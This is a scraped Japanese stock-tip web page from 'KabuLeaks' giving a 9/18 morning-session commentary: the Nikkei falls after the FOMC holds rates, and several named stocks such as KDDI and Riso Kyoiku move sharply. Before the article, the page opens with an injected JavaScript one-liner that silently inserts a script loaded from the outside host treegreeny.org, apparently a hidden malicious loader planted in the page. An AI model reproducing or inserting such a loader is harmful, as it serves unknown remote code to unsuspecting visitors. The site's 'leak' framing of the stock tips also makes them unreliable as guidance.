;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【9/18 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【9/18 前引け】

前場の日経平均株価は256円安と4日ぶり反落。注目が集まったFOMC、市場の期待通りの利上げ見送り発表も先行き不透明感が台頭から寄り付きから売り先行、一時心理的節目の18,000円割れる場面も。一巡後は若干の押し目買いも入り再度18,000円台を回復も大型連休(シルバーウィク)を控え戻りは限定的、やや手控えムードが漂う展開となっています。

個別では、先日、東証が監理銘柄に指定し急落が続いていた【4714】リソー教育がストップ高まで上昇。なお、同社は17日、代表取締役会長兼社長の岩佐実次氏より、10月1日付で代表取締役を辞任したいとの申し出があり、これを受理したと発表した。また、【9433】KDDIが大幅続伸。目先の売り一巡感から自律反発を狙った動きなども強まる格好となっているほか、Haitong Intenationalが投資判断を「ニュートラル」から「バイ」に格上げしていることも材料視。16.5期1Q(5月21日~8月20日)の連結営業利益が27.4億円(前年同期比47.3%増)だったと発表した【3398】クスリのアオキなども買い優勢となっている。その他、【6888】アクモス、【9385】ショーエイコーポレーション、【2905】オーケー食品工業などが値を飛ばし値上がり上位にランクインしている。

注目を集めたFOMCでは利上げが見送られたものの、やはり昨日、一昨日の上昇と、事前にある程度織り込みが進んでいた可能性が強い。むしろ利上げ見送りで米国の金融政策に対する不透明感が燻る状況に。後場は連休控え引き続き手控えムードとなる可能性が高く大引けにかけて再度18,000円割れを警戒しておきたい。個別中心の短期値幅取り以外は引き続き手出し無用の相場と考えておくのが無難そうだ。